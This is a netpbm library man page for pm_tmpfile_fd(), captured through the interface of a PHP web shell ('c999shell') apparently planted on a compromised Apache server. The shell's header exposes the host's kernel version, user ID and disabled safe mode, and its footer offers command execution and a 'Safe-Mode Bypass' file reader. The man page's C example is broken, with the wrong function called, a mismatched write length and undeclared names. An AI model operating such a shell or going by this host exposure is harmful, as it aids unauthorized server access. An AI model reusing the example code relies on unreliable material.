Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/doc/netpbm-10.35.58/userguide/ drwxr-xr-x |
Viewing file: libtmpfilefd.html (1.3 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | pm_tmpfile_fd()Updated: 31 December 2007NAMEpm_tmpfile_fd() - create a temporary unnamed fileSYNOPSIS#include <netpbm/pm.h> FILE * pm_tmpfile_fd(void); EXAMPLEThis simple example creates a temporary file, writes "hello world" to it, then reads back and prints those contents. #include <netpbm/pm.h> int fd; fd = pm_tmpfile(); write(fd, "hello world\n", 17); lseek(fd, 0, SEEK_SET); read(fd, buffer, sizeof(buffer)); fprintf(STDOUT, "temp file contains '%s'\n", buffer); close(fd); DESCRIPTIONThis library function is part of Netpbm. pm_tmpfile_fd() is analogous to pm_tmpfile(). The only difference is that it opens the file as a low level file, as open() would, rather than as a stream, as fopen() would. If you need to refer to the temporary file by name, use pm_make_tmpfile_fd() instead. HISTORYpm_tmpfile() was introduced in Netpbm 10.42 (March 2008). |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0085 ]-- |